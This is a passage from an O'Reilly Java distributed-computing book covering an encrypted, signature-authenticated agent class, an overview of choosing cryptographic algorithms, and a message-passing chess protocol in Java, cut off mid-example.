  // A secret key used to encode/decode messages
  Key cryptKey = null;

  public SecureAgent(String host, int port)
      throws IllegalArgumentException {

    super(host, port);
    DataInputStream din = new DataInputStream(inStream);

    // Try to authenticate the remote agent
    try {
      String agentId = din.readUTF();
      int dataLen = din.readInt();
      byte[] data = new byte[dataLen];
      din.read(data);
      int sigLen = din.readInt();
      byte[] sig = new byte[sigLen];
      din.read(sig);

      if (!authenticate(agentId, data, sig)) {
        // Failed to authenticate: write error message, close socket and
        // return
        System.out.println("Failed to authenticate remote agent "
                           + agentId);
        closeConnection();
      }
      else {
        // Remote agent is authenticated, first message is a welcome
        addMsg("HELLO " + agentId);
      }
    }
    catch (Exception e) {
      closeConnection();
    }
  }

  protected boolean authenticate(String id, byte[] data, byte[] sig) {
    boolean success = false;
    PublicKey key = lookupKey(id);
    try {
      // Set up a signature with the agent's public key
      Signature agentSig = Signature.getInstance(key.getAlgorithm());
      agentSig.initVerify(key);
      // Try to verify the signature message from the agent
      agentSig.update(data);
      success = agentSig.verify(sig);

      if (success) {
        // Agent checks out, so initialize an identity for it
        remoteAgent = new Identity(id);
        remoteAgent.setPublicKey(key);
        // Get the agent's secret encryption key, too
        cryptKey = lookupSecretKey(id);
      }
    }
    catch (Exception e) {
      System.err.println("Failed to verify agent signature.");
      success = false;
    }

    return success;
  }

  public void run() {
    // Go into infinite loop, sending messages, receiving responses, and
    // processing them...

    DataInputStream din = (DataInputStream)inStream;
    DataOutputStream dout = (DataOutputStream)outStream;

    // Make an encryption Cipher for sending messages...
    String cryptAlgName = cryptKey.getAlgorithm();
    Cipher sendCipher = Cipher.getInstance(cryptAlgName);
    sendCipher.initEncrypt(cryptKey);
    // ...and a decryption Cipher for receiving them.
    Cipher receiveCipher = Cipher.getInstance(cryptAlgName);
    receiveCipher.initDecrypt(cryptKey);

    while (true) {
      String msg = nextMsg();
      if (msg != null) {
        String inMsg = "", inToken = "";
        try {
          // Send encrypted message to agent
          byte[] eData = sendCipher.crypt(msg.getBytes());
          dout.write(eData);

          // Read and decrypt message from agent
          int dataLen = din.readInt();
          eData = new byte[dataLen];
          din.read(eData);
          byte[] clearData = receiveCipher.crypt(eData);
          inMsg = new String(clearData);

          // Process the incoming message
          processMsg(inMsg);
        }
        catch (Exception e) {}
      }
    }
  }
}

The SecureAgent constructor is identical to the AuthAgent, reading a digital signature from the input stream and passing it to the authenticate() method. The authenticate() method is almost the same: the digital signature is checked, and if it is verified, then the agent's Identity is initialized with their PublicKey. An extra step is added, though, to look up the agent's secret key using the aptly named lookupSecretKey() method. The secret key might be stored in a local database, or on a key-ring in memory. A very simple way to store a key-ring would be to put keys in a Hashtable indexed by the identity name, and then serialize the Hashtable object to a file on disk. In this case, the lookupSecretKey() method on our AuthAgent might look something like this:

protected SecretKey lookupSecretKey(String id) {
    SecretKey key = null;

    // Get the key-ring file name from the property list for this agent
    String keyringFile = System.getProperty("keyring", "keyring.dat");

    // Try reading the key-ring and looking up the key for the id
    try {
        // Read the key-ring from disk
        ObjectInputStream in =
            new ObjectInputStream(new FileInputStream(keyringFile));
        Hashtable keyring = (Hashtable) in.readObject();
        // Lookup the id's key on the ring
        key = (SecretKey)keyring.get(id);
    }
    catch (Exception e) {
        System.err.println("Failure looking up key on keyring.");
        e.printStackTrace(System.err);
    }

    return key;
}

The big difference between the AuthAgent and the SecureAgent is in their run() methods. Before the SecureAgent starts sending and receiving messages in the run() method's while loop, it initializes two Ciphers, one for encrypting outgoing messages and one for decrypting incoming messages. It uses the cryptKey to initialize both Ciphers. In the message-passing loop, the Secure-Agent encrypts each outgoing message with the send Cipher, and all incoming messages are read as byte arrays, and decrypted using the receive Cipher.

To make our credit agent use the new encryption abilities offered by the SecureAgent, we can just change the class definition and have the agent extend the SecureAgent rather than the AuthAgent. The processMsg() method will work unchanged since the incoming messages have been decrypted in the Se-cureAgent.run() method before being passed into the processMsg() method.

Previous | Home | Next
5.5. Digital Signatures | Book Index | 5.7. Choosing a Cryptographic Algorithm
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Choosing a Cryptographic Algorithm (Java Distributed Computing)

 Java Distributed Computing Search this book

5.7. Choosing a Cryptographic Algorithm

Throughout this chapter we've shown how objects from the Java Security API, such as KeyPairGenerators and Ciphers, can be created by specifying a particular cryptographic algorithm for the implementation of the object. We haven't yet discussed the issues involved in picking one algorithm over another.

5.7.1. Features of Cryptographic Algorithms

Cryptography includes a broad range of techniques under its umbrella. Some of the characteristics that distinguish one technique from another follow.

5.7.1.1. Level of protection

Some encryption techniques provide a virtually unbreakable barrier to information theft; others just require a determined attacker with moderate resources to be broken. One way to compare techniques on this level is to estimate how much CPU time would be required on a machine of a given processing speed to iterate through all the possible keys to the encoded data. For example, "A 128-bit XYZ cryptographic key requires 14.5 months of CPU time on an Acme 24-processor server to be broken." But other issues can affect the level of effort required to break the encrypted data, and make it difficult to objectively compare the security of encryption techniques. For example, if the attacker is not familiar with the format of the data being transmitted, and the data isn't easily interpreted on its own, then it may be tough to tell if an attempt to decode the data has worked or not.

5.7.1.2. Sophistication and complexity

Encryption techniques are usually based upon the mathematical properties of numbers and digital information. The mathematical theories employed in creating encryption techniques vary in their complexity and sophistication; some require poring over many pages of mathematics and statistics journals to be fully understood, while others can be explained using basic concepts of algebra. The resources required to implement and to break a given encryption technique are usually a direct function of its complexity. All other issues being equal, a more complex encryption scheme is normally more expensive to implement, but is also more expensive to break. As an application developer, you'll typically need to trade off efficiency against security. If high throughput is a requirement for your application, you may be willing to use a less complex, and less secure, cryptographic algorithm if it imposes significantly less overhead on your agents.

5.7.1.3. One-, two-, and many-way cryptography

Depending on the nature of your distributed application, there may be situations in which many parties need to be individually or mutually authenticated by one agent. A secure chat room or whiteboard system, for example, may require mutual authentication by all participating parties. Most authentication schemes directly support one- or two-way agent authentication. Few, if any, have any concept of multi-way authenticated communications. Instead, the developer must maintain a set of two-way-authenticated channels at each agent site. One way to deal with multi-way authentication is to define a group of individuals as a group identity with a single key pair and set of certificates. Every person in this group needs to prove ownership by providing a digital signature verifying that they have access to the group's private key, and some kind of certification of their keys. The viability of this approach really lies in the policies of the certification authority being used. If they agree to certify groups, and have defined a policy for verifying membership in certain groups, then most cryptographic algorithms will support a key pair or certificate associated with a named group rather than a named individual.

5.7.1.4. Design issues

As we've already mentioned, modern cryptography involves the use of keys for data signing, encoding, and decoding. Some require the secure distribution of private keys between parties, while others allow the parties to use public keys that can be broadcast openly. In our SecureAgent example, we used an encoding scheme that required the use of secret keys.

Other design issues involve the low-level implementation details of the algorithm. If we're building an agent to be used in an applet context, then we'd like the implementation of an cryptographic algorithm to be done completely in Java without any native method calls, so that we don't have to distribute native libraries to every agent that will talk to our agent.

Another issue that may seem obvious is the level of standardization of a cryptographic algorithm. If an algorithm is standardized, or at least widely used, then there is a better chance that we can use our security-enabled agents with other people's agents without modifying them.

5.7.1.5. Financial and legal issues

An issue of a different sort is the expense of using a cryptographic algorithm. Some of the more sophisticated techniques are patented, and require payment of license fees to be used. Others are simply too involved to be implemented by the average developer, and software implementations can be sold for high prices by those who do have the resources to develop them.[2]

[2]To give an idea of the kind of price tags being put on high-caliber encryption packages, one set of Java encryption classes was listed at a cost of $25,000 for a limited-use license. Depending on the expected usage of the package, the price tag climbs as high as $100,000.

There are also legal and political restrictions to worry about. The United States, for example, has specific restrictions on the types of encryption that can be implemented for export to foreign countries. Currently, there are two separate versions of the Netscape browser: one for international use, and one for use only within the United States. The latter includes a more sophisticated version of the RSA encryption technology, whose export is restricted by the U.S. federal government.

5.7.2. Available Algorithms

There are numerous cryptographic algorithms for data encryption, and a similar number of certification and authentication techniques. Several umbrella security protocols and standards have been developed that incorporate both encryption and authentication facilities. Among them are Netscape's Secure Socket Layer (at the time of this writing, SSL 3.0 is an IETF Internet Draft), the Pretty Good Privacy (PGP) package developed originally by Phil Zimmermann, and the Public Key Cryptography Standard (PKCS) from RSA Laboratories. S-HTTP is a security protocol designed specifically around the HTTP protocol, which differentiates it from these other, more general protocols. The chief motivation behind the development of these packages is to make encryption and authentication technologies easily accessible to developers, and to provide a common protocol for security-enabled applications to interact freely.

5.7.2.1. Encryption techniques

We've already discussed some of the differences between public key encryption and secret key techniques. Some commonly used secret key encryption algorithms are the Data Encryption Standard (DES), and the International Data Encryption Algorithm (IDEA).

Some common forms of public key encryption in use today are Diffie-Hellman, derived from the original paper describing public key systems; RSA, licensed by RSA Laboratories; and the Digital Signature Algorithm (DSA), developed by the National Institute of Standards and Technology (NIST). Diffie-Hellman uses an encryption algorithm based on factoring prime numbers, while DSA is based on an algorithm involving discrete logarithms. These two algorithms are believed by many cryptographers to be comparably hard to crack. RSA is based upon a combination of their own public key encryption scheme with other secret key algorithms, such as DES block ciphers.

5.7.2.2. Certificates and authentication techniques

As we've already seen, certification and authentication schemes are typically founded on an existing public key encryption technique. The RSA public key cryptography system, for example, can be used in combination with a hashing technique to implement an authentication scheme. One party "signs" a message by running it through a known hashing algorithm, and then encrypts the hashed message with their private key to generate a digital signature. The signature is then sent along with the original message to the other party. The receiving party can then decrypt the signature using the sender's public key, and hash the clear message using the same hashing algorithm used to generate the signature. If the hashed message is equal to the decrypted signature, then the receiving party can assume that the sender is the person that owns the public key. In order to impersonate some other party, we would have to know their private key. Otherwise, we wouldn't be able to generate both a clear message and an encrypted, hashed version of the message that check out against each other.

All authentication systems use certificates, which minimally contain an identifier for a party and the party's public key. The most commonly used standard format for digital certificates is the ITU X.509 standard certificate format. SSL, PKCS, and S-HTTP all offer X.509-compliant certification methods within their protocols. RSA can also be used in conjunction with X.509 certificates. Many cryptographic systems, however, resort to nonstandard certificate formats based on their own binary formatting schemes, where a public key, an identifier, and several other parameters, such as expiration times and serial numbers, are serialized and encrypted before being transmitted.

In most cases, the power of a certificate to authenticate a party rests on the certifying authority (CA) that issues and vouches for the certificate. VeriSign, BBN, and even the United States Postal Service offer CA services. Certificate authorities usually provide several levels of certification and require various types of proof of identity. In some cases an email verification is sufficient; other certificates require verification by a notary public before being issued. A certificate issued from a CA must be installed somehow on your host computer in order to be properly broadcast by your network applications when secure transmissions are attempted. The Netscape browser, for example, will use your personal certificate to establish secure HTTP connections when a remote HTTP server requests it.

5.7.3. General Security Protocols

We've already mentioned some of the more common general security protocols in use today. Support for them in the Java environment is becoming more broadly available, but implementation of the cryptographic algorithms underlying these protocols is a complex task that typically requires the backing of a software development company. If public-domain or shareware versions of these protocols do become available they will undoubtedly be few and far between.

5.7.3.1. Secure Socket Layer (SSL)

The Secure Socket Layer, originally put forth by Netscape and now an Internet Draft of the IETF, defines a general security protocol for private, authenticated communications. SSL is a protocol that layers on top of a network transport protocol (such as TCP/IP), but below application protocols (such as HTTP) or security APIs (such as the Java Security API). The protocol allows agents to choose from a suite of encryption algorithms and authentication schemes, including DES ciphers and RSA cryptography.

In addition to providing communications security with existing cryptographic techniques, SSL also provides a means to extend the protocol to include new encryption methods that may be developed. SSL also provides a session caching facility, where key pairs associated with a connection to a particular party can be retrieved and used to reinstate secure connections in sessionless application protocols, like HTTP.

5.7.3.2. Pretty Good Privacy (PGP)

PGP was originally developed by Phil Zimmermann as an effort to get effective privacy and authentication tools into the hands of the general technology community. There has been a shroud of controversy surrounding PGP since its public release by Zimmermann, involving United States export laws concerning cryptographic technology. We won't discuss the sordid details here, except to say that there are essentially two versions of PGP: one for use within the United States and Canada, and another for international use, which does not use certain implementations of RSA encryption algorithms.

In terms of the families of encryption algorithms that we discussed in an earlier section, PGP is a hybrid technique that uses public key methods to distribute private keys between agents. The reason for this is efficiency: public key methods are computationally very expensive, and can significantly reduce your data throughput if all data is transmitted with public key encryption. PGP tries to circumvent this by using RSA public key encryption to transmit a pair of random private keys between the two parties securely. Once the agents have each other's private keys, they can proceed to encrypt their messages using faster, private key encryption. Messages are encrypted using a block cipher called IDEA. Note that, while SSL allows us to specify what kind of encryption we would like to use, the encryption scheme used by PGP is fixed.

Authentication in PGP can be implemented with digital signatures, using a method similar to that used by RSA for authentication. An MD5 hashing function and RSA encryption is used to generate the signature.

Previous | Home | Next
5.6. Data Encryption | Book Index | 6. Message-Passing Systems
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Message-Passing Systems (Java Distributed Computing)

 Java Distributed Computing Search this book

Chapter 6. Message-Passing Systems

Contents:

Messages Defined
Why Do We Need Messages?
Message Processing
Fixed Protocols
Adaptable Protocols
Message Passing with Java Events
Using Remote Objects

In this chapter we examine applications that use message-passing schemes to distribute information between agents in a distributed system. The first thing we'll do is define what we mean by "message passing," then we'll look at some ways that messages can be handled by a Java agent. We'll build two versions of a message-passing system. The first is based on a homegrown message-handling system, with Message objects being transmitted over I/O streams between MessageHand-lers. Most of our discussion about message passing will be based on these classes. Near the end of the chapter, we'll look at a message-passing system based on the delegation event model built into the JDK and used by the AWT package. In this case, we'll be using EventObjects as our messages, and leveraging the model of event sources and listeners from the JDK to build a message-handling framework.

6.1. Messages Defined

Before we start discussing message-passing systems, we need to define what we mean by a message. Essentially, a message is a structured piece of information sent from one agent to another over a communication channel. Some messages are requests made to one agent by another, other messages deliver data or notification to another agent. In most applications that we'll discuss, a message consists of a message identifier and, if needed, a set of message arguments. The message identifier tells the receiver the purpose or type of the message. The arguments to the message contain additional information that is interpreted based on the type of message. They may contain the object of an action (e.g., the message "xy" means, "Do x to y and return the result"), or they may contain information used to carry out a request (e.g., "x a b c " means, "Do x, and use a, b, and c to do it").

Message identifiers are usually simple, unique tokens that differentiate one type of message from another. They may even be simple integer values, where the agents on either end use a look-up table of some sort to match the value with its meaning. Message arguments, on the other hand, can be of many types. Some simple message protocols get away with using only basic data types, like integers, strings, and floating-point values, for message arguments. These arguments can be read and written directly using the DataInputStream and DataOutputStream classes. Other protocols need to use more complicated data types and objects as message arguments. These complex data types can be sent as an ordered sequence of simple data types over a DataOutputStream. They can also be transmitted as objects using the Java RMI object serialization support, as discussed in Chapter 3, "Distributing Objects".

In some very well defined and controlled application environments, a message protocol may not need message identifiers at all. The interactions between agents may be so strictly defined that there's no need to specify the type of message being sent because the receiver is already expecting it. Suppose, for example, that we have two chess-playing agents talking to each other. Assuming that they both always make valid moves and that they both continue to play until checkmate results, the only kind of message they need to exchange is one that contains the next move that they want to make, with an optional argument that indicates if the move results in a "check" or a "checkmate." In this case, there's no need for message identifiers--the messages can just contain the chess players' moves.

In a sense, every network standard and protocol we've discussed so far can be boiled down to some form of message passing. HTTP, SSL, even low-level network protocols like TCP/IP are protocols built around some form of message passing. When we speak of message passing in this chapter, however, we are talking about message passing that is done explicitly by the application programmer. While these other protocols are built around some kind of message-passing protocol, that level of the protocol is hidden from the developer by an API of some kind. For example, SSL is utilized by an application programmer through a class library, where method calls on SSL-related objects are automatically broken down into SSL-compliant messages. Likewise, incoming SSL "messages" are processed and mapped into new data objects and method calls on SSL objects. This is what makes these complicated but powerful protocols so useful: the application programmer doesn't need to know the details of the protocol at the lower level. When we speak of message passing in this chapter, we're referring to situations where the message protocol--the generation and the processing of messages--is defined and performed directly at the application level.

Previous | Home | Next
5.7. Choosing a Cryptographic Algorithm | Book Index | 6.2. Why Do We Need Messages?
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Why Do We Need Messages? (Java Distributed Computing)

 Java Distributed Computing Search this book

6.2. Why Do We Need Messages?

This is a perfectly valid question. If we have object-based communication schemes like CORBA and RMI available in the Java environment, why would we have to resort to passing messages, a simple but restrictive communication method, to transmit information between agents?

While message passing isn't as sophisticated and robust as distributed objects, it's relatively simple to implement using the java.io package. The goals of the two approaches are very different. Distributing objects extends an application across the network by making its objects appear to be spread across the hosts in our virtual machine. Message passing serves a much simpler role, defining a simple communication protocol for sending data. Passing messages over I/O streams also avoids the communication overhead involved in using most distributed object schemes, and doesn't require any special network protocols. So message passing is a useful and sometimes necessary tool, particularly in the following situations:

  • Communication needs are relatively simple in nature

  • Transaction throughput is critical

  • The scope of the your system is limited, so that rapid implementation takes precedence over sophistication and flexibility of design

  • Special network protocols need to be avoided (e.g., parts of the system need to operate behind a firewall)

  • Remote object protocols (e.g., an applet in a browser that doesn't support RMI or CORBA) simply aren't available

Previous | Home | Next
6.1. Messages Defined | Book Index | 6.3. Message Processing
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Message Processing (Java Distributed Computing)

 Java Distributed Computing Search this book

6.3. Message Processing

When you're developing an agent that will be exchanging messages, it's important to think about how message processing will integrate with the rest of the objects making up the agent. Ideally, you'd like to:

Isolate communications details from application details

This leaves you free to design the bulk of the classes making up the application around application issues, not issues related to the communication scheme you happen to be using. Likewise, the communications subsystem can be designed and updated independently, based on the communication needs of the overall system.

Provide a structured way to link messages to method calls on application objects

You need a well-defined way for incoming messages to trigger method calls on application objects, and for object methods to generate messages to remote agents to service requests.

These may seem like conflicting requirements, but we'll see that they can both be satisfied to one degree or another by a single message-processing method.

6.3.1. Asychronous vs. Synchronous Message Handling

A crucial question in designing a message-processing system is whether it needs to be asynchronous or not. In our chess example, the player agents can process messages synchronously, since they'll be handshaking throughout the entire game. That is, one player sends a move (in a message) to the other player; the second player applies the move to its copy of the "playing board," weighs its options, and sends its countermove to the first player. In this simple example, there isn't anything else a player needs to do while choosing its move or waiting for the other player to send its move, so there's no need for the ability to receive and process messages asynchronously.

This isn't usually the case, though. Messages usually trigger some significant processing by an agent, which can be carried on while waiting for any further messages. Agents in an application will usually be better off if they can send and receive messages asynchronously from any other work they may need to do. This "other work" may be in response to these messages, or may be independent of the message passing that's going on. If we were implementing a more sophisticated network game than our simple chess system, each player agent might have plenty of work to do in addition to sending and receiving messages. There may be user input to deal with, multiple remote players to synchronize with, graphical displays to update, and complicated internal models to keep straight. To keep everything in the agent running smoothly, asynchronous message I/O will probably be necessary, so your message-passing scheme should support it.

6.3.2. A Basic Message Processor

Based on our earlier definition of a message, the BasicMessage class shown in Example 6-1 is an implementation of a generic message object. It has a message identifier and a list of arguments, all represented as strings. The BasicMessage has public methods for querying its identifier (messageId()) and its arguments (argList()). It also has an abstract Do() method, which will be implemented in subclasses of BasicMessage to perform whatever is required by the given message. It's in the Do() method implementations that we'll both define our message protocol, and link our message-passing scheme to the application objects in the system. For each type of message in our protocol, a subclass of BasicMessage can be defined to interpret the message arguments and do whatever is required for that type of message.

Example 6-1. A Basic Message Class

package dcj.examples.messageV1;

import java.util.Vector;

public abstract class BasicMessage
{
  protected String id;
  protected Vector argList;

  public BasicMessage() {
    argList = new Vector();
  }

  public BasicMessage(String mid) {
    id = mid;
    argList = new Vector();
  }

  protected void setId(String mid) {
    id = mid;
  }

  public void addArg(String arg) {
    argList.addElement(arg);
  }

  public String messageID() {
    return id;
  }

  public Vector argList() {
    Vector listCopy = (Vector)argList.clone();
    return listCopy;
  }

  public abstract boolean Do();
}

To send and receive messages over a connection to a remote agent, we have the BasicMsgHandler, shown in Example 6-2. This class handles messages in terms of string tokens --a message is simply a series of tokens followed by an "end-of-message" indicator. The first token is the message identifier, and the rest are arguments to the message. The readMsg() method on BasicMsgHandler reads the message identifier of the incoming message first, then calls buildMessage() to construct the message object corresponding to the message type. The buildMessage() method is abstract in BasicMsgHandler, and is implemented by subclasses to match the message protocol being used.

To support asynchronous message processing, the BasicMsgHandler also implements the Runnable interface. The run() method is a loop that reads a message, calls the message's Do() method, then reads the next message. The BasicMsgHandler's run() method does not send messages directly. If a message needs to be sent to the remote agent, it will have to be done inside the Do() method of one of the incoming messages, or outside of the BasicMsg-Handler's thread altogether. A static message handler object is associated with the BasicMsgHandler class for this purpose. It's initialized by the BasicMsg-Handler constructors--when a BasicMsgHandler is created, it sets the static handler object to point to itself. In many message-passing applications there is one central message handler for each agent, and it's sometimes convenient to have this message handler globally accessible. For example, the Do() method on a BasicMessage subclass may need to send a message to the remote agent in response to the message it has just processed. Note that the static message handler object is declared public, so an application can change the global handler when necessary.

Example 6-2. A Basic Message Handler

package dcj.examples.messageV1;

import java.util.Vector;
import java.lang.*;
import java.io.*;

public abstract class BasicMsgHandler implements Runnable
{
  // Static message handler for applications where only one message
  // handler is used and needs to be globally accessible.
  public static BasicMsgHandler current = null;

  InputStream msgIn;
  OutputStream msgOut;
  StreamTokenizer tokenizer;
  String msgEndToken = "END";

  public BasicMsgHandler(InputStream in, OutputStream out) {
    setStreams(in, out);
    current = this;
  }

  public BasicMsgHandler(InputStream in, OutputStream out,
                         String endToken) {
    msgEndToken = endToken;
    setStreams(in, out);
    current = this;
  }

  protected void setStreams(InputStream in, OutputStream out) {
    msgIn = in;
    msgOut = out;
  }

  public BasicMessage readMsg() throws IOException {
    BasicMessage msg;
    String token;
    DataInputStream din = new DataInputStream(msgIn);

    token = din.readUTF();
    msg = buildMessage(token);

    if (msg != null) {
      boolean msgEnd = false;
      while (!msgEnd) {
        token = din.readUTF();
        if (token.compareTo(msgEndToken) == 0)
          msgEnd = true;
        else {
          msg.addArg(token);
        }
      }
    }
    return msg;
  }

  public void sendMsg(BasicMessage msg) throws IOException {
    boolean success = true;
    DataOutputStream dout = new DataOutputStream(msgOut);

    dout.writeUTF(msg.messageID());

    Vector args = msg.argList();
    int acnt = args.size();
    for (int i = 0; i < acnt; i++) {
      dout.writeUTF((String)args.elementAt(i));
    }

    dout.writeUTF(msgEndToken);
  }

  public void run() {
    try {
      while (true) {
        BasicMessage msg = readMsg();
        if (msg != null)
          msg.Do();
      }
    }
    // Treat an IOException as a termination of the message
    // exchange, and let this message-processing thread die.
    catch (IOException e) {}
  }

  protected abstract BasicMessage buildMessage(String msgId);
}

These two classes define a framework for simple message-passing protocols. In the next section, we'll see how to use these classes in practice, and how this structure needs to be expanded to support more complex message-passing situations.

Previous | Home | Next
6.2. Why Do We Need Messages? | Book Index | 6.4. Fixed Protocols
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Fixed Protocols (Java Distributed Computing)

 Java Distributed Computing Search this book

6.4. Fixed Protocols

If we recall our definition of a message as an identifier followed by a set of arguments, we can break down the possible message protocols into fixed and adaptable types. In this section we'll discuss fixed protocols, where the set of possible identifiers and the arguments for each type of message are known beforehand and don't change during a communication session. Adaptable protocols have variable argument lists on messages, or variable sets of message types, or both.

Let's return to the chess-player agents that we mentioned earlier and define a fixed protocol that they could use to engage in a game of chess. We'll define a protocol that will let them pass moves back and forth, confirm each other's moves, and concede a game. Then we'll implement this message protocol using our BasicMessage and BasicMsgHandler classes.

Figure 6-1 shows the architecture of the chess-playing system we'll be building in the following sections. On each player's host computer, a ChessPlayer object keeps track of the current board layout and comes up with the player's next move. A ChessServer object handles all of the communication with the remote opponent; it packages up moves from the local player into messages, and ships them off to the opponent's ChessServer. (It also takes messages from the remote opponent and calls the required methods on the local ChessPlayer.)

Figure 6-1. Chess system architecture

Before we define the protocol that the distributed chess system will use, let's put together the application-level classes that act as our chess players. The ChessPlayer class in Example 6-3 demonstrates the interface to our chess player agents. The ChessPlayer maintains the state of the chess board internally. (We don't show the details of the data structures here, since they're not directly relevant to the topic at hand.) The methods defined on the ChessPlayer interface provide the means for telling the chess player the opposing player's moves, and asking the chess player for its moves.

The acceptMove() method is called on a ChessPlayer when a move from the opposing player has been received. The requested move is given to the chess player to be confirmed as valid against the current state of the board. Game moves are represented as a "from" position, a "to" position, and a flag indicating whether the move results in a "check," a "checkmate," or neither. The "from" and "to" positions are represented as strings, such as "K3" for "King's 3," "R4" for "Rook's 4," etc. The nextMove() method asks the chess player for its next move based on the current board position. The move is returned as the value of the reference arguments. The generated move will not be applied to the game board until the moveAccepted() method is called. This indicates that the opposing player has accepted the move and applied it to its copy of the game board. These three methods are used by the two players to submit and confirm each other's moves during a game. Calling a player's concede() method tells it that the opponent has conceded the game.

We've designed this application object independently of the fact that we're planning on using message passing. We could be using any communication scheme at all to pass moves between two ChessPlayers. We could even create two ChessPlayer objects within one process and engage in a game by calling methods on each of them in turn.

Example 6-3. A Chess Player Agent

package dcj.examples.messageV1;

public class ChessPlayer {
  // Data structures for maintaining chess board state
  // ...

  public static final int CHECK = 0;
  public static final int CHECKMATE = 1;
  public static final int NO_CHECK = 2;

  public ChessPlayer() {
    // Initialize chess board
  }

  public boolean acceptMove(String from, String to,
                            int checkOrMate) {
    // Check validity of requested move.
    // If valid, apply to chess board and return true.
    // If invalid, return false.
    // ...
    return true;
  }

  public boolean nextMove(String from, String to,
                          int checkOrMate) {
    // Generate our next move based on the current
    // state of the game board...
    // ...
    return true;
  }

  public void moveAccepted(String from, String to,
                           int checkOrMate) {
    // Our move was accepted as valid, apply it to the
    // game board...
    // ...
  }

  public void conceded() {
    // We've won!
  }
}

Now that we've defined the agents that will be playing the chess game, we can define the message protocol they'll use. First, they'll need a message to pass moves back and forth:

  1. movefromtocheckOrMate

    The message identifier is "move," and it contains three arguments. The first is the "from" position (a string), the second is the "to" position (a string), and the third is the integer flag indicating check, checkmate, or neither.

Next, they will need messages to confirm or reject each other's moves:

  1. confirmfromtocheckFlag

    The arguments indicate the particular move that was accepted by the opponent.

  2. reject

    The last move was rejected as invalid by the opponent.

Finally, they need a message to use when a game is being conceded:

  1. concede

    The opposing player is conceding the game.

The next step is to define the link from these messages to our chess player agents and their corresponding methods. Using our BasicMessage and BasicMsgHandler classes, we first need to define subclasses of BasicMessage corresponding to each of the message types in our protocol. Then we need to extend the BasicMsgHandler class to implement a chess server, which will convert incoming messages into corresponding BasicMessage subclasses and call their Do() methods.

Example 6-4 shows the subclasses of BasicMessage corresponding to the message types in our chess-playing protocol. Each of the message objects will need access to the local chess player object in order to translate an incoming message into the appropriate method call on the chess player agent. The ChessMessage class acts as a base class for our message objects, providing a reference to a ChessPlayer. Now we derive a class for each type of message in our chess protocol. Each of the message objects shown in Example 6-4 can be used for both processing an incoming message of a given type and generating an outgoing message of the same type. Each has a pair of constructors: one accepts a ChessPlayer object and a list of arguments for the message, and one just accepts a list of the message's arguments. The former is used when an incoming message is being processed, and a call to a method on the ChessPlayer will be required. The latter is used for generating outgoing messages, where the local ChessPlayer object is not necessary.

Example 6-4. Messages in a Chess Protocol

package dcj.examples.messageV1;

import java.io.*;

abstract class ChessMessage extends BasicMessage {
  protected ChessPlayer player;

  public ChessMessage(ChessPlayer p) { player = p; }
  public ChessMessage()              { player = null; }
}

class MoveMessage extends ChessMessage {
  public MoveMessage(ChessPlayer p) {
    super(p);
    setId("move");
  }

  public MoveMessage(String from, String to, int checkFlag) {
    setId("move");
    addArg(from);
    addArg(to);
    addArg(Integer.toString(checkFlag));
  }

  public boolean Do() {
    boolean success = true;
    BasicMsgHandler handler = BasicMsgHandler.current;

    String from = (String)argList.elementAt(0);
    String to = (String)argList.elementAt(1);
    String checkStr = (String)argList.elementAt(2);
    int checkFlag = Integer.valueOf(checkStr).intValue();

    try {
      if (!player.acceptMove(from, to, checkFlag)) {
        handler.sendMsg(new RejectMoveMessage());
      }
      else {
        ConfirmMoveMessage cmmsg =
          new ConfirmMoveMessage(from, to, checkFlag);
        handler.sendMsg(cmmsg);

        // We accepted the opponent's move, now send them
        // our countermove, unless they just mated us...
        if (checkFlag == ChessPlayer.CHECKMATE) {
          ConcedeMessage cmsg = new ConcedeMessage();
          handler.sendMsg(cmsg);
        }
        else {
          player.nextMove(from, to, checkFlag);
          MoveMessage mmsg = new MoveMessage(from, to, checkFlag);
          handler.sendMsg(mmsg);
        }
      }
    }
    catch (IOException e) {
      success = false;
    }
    return success;
  }
}

class ConfirmMoveMessage extends ChessMessage {
  public ConfirmMoveMessage(String from, String to, int checkFlag) {
    setId("confirm");
    addArg(from);
    addArg(to);
    addArg(Integer.toString(checkFlag));
  }

  public ConfirmMoveMessage(ChessPlayer p) {
    super(p);
    setId("confirm");
  }

  public boolean Do() {
    boolean success = true;

    // Opponent accepted our last move, so record it on our
    // copy of the game board.
    String from = (String)argList.elementAt(0);
    String to = (String)argList.elementAt(1);
    String cmateStr = (String)argList.elementAt(2);
    int checkOrMate = Integer.valueOf(cmateStr).intValue();
    player.moveAccepted(from, to, checkOrMate);
    return success;
  }
}

class RejectMoveMessage extends ChessMessage {
  public RejectMoveMessage() {
    setId("reject");
  }

  public RejectMoveMessage(ChessPlayer p) {
    super(p);
    setId("reject");
  }

  public boolean Do() {
    boolean success = true;
    String newFrom = "";
    String newTo = "";
    int newCheckFlag = ChessPlayer.NO_CHECK;
    BasicMsgHandler handler = BasicMsgHandler.current;

    try {
      if (player.nextMove(newFrom, newTo, newCheckFlag)) {
        MoveMessage mmsg =
          new MoveMessage(newFrom, newTo, newCheckFlag);
        handler.sendMsg(mmsg);
      }
      else {
        // Our player didn't come up with another move, so
        // concede the game
        handler.sendMsg(new ConcedeMessage());
      }
    }
    catch (IOException e) {
      success = false;
    }

    return success;
  }
}

class ConcedeMessage extends ChessMessage {
  public ConcedeMessage() {
    setId("concede");
  }

  public ConcedeMessage(ChessPlayer p) {
    super(p);
    setId("concede");
  }

  public boolean Do() {
    player.conceded();
    return true;
  }
}

These message classes are used by the ChessServer class in Example 6-5 to convert incoming messages into method calls on the local ChessPlayer, and to generate outgoing messages for the remote chess player. A ChessServer is constructed with an input and output stream connecting it to the remote opponent. The ChessServer makes a new ChessPlayer in its constructor to act as the local player. The ChessServer's buildMessage() method checks each incoming message identifier and constructs the appropriate message object for each, passing the local ChessPlayer reference into each constructor. When the message's Do() method is called in the implementation of run() inherited from BasicMsgHandler, the message arguments, if any, will be parsed, and the appropriate method will be called on the local ChessPlayer.

Example 6-5. A Chess Server

package dcj.examples.messageV1;

import java.io.*;

public class ChessServer extends BasicMsgHandler
{
  ChessPlayer player;

  public ChessServer(InputStream in, OutputStream out) {
    super(in, out);
    player = new ChessPlayer();
  }

  public ChessPlayer getPlayer() {
    return player;
  }

  protected BasicMessage buildMessage(String msgId) {
    BasicMessage msg = null;

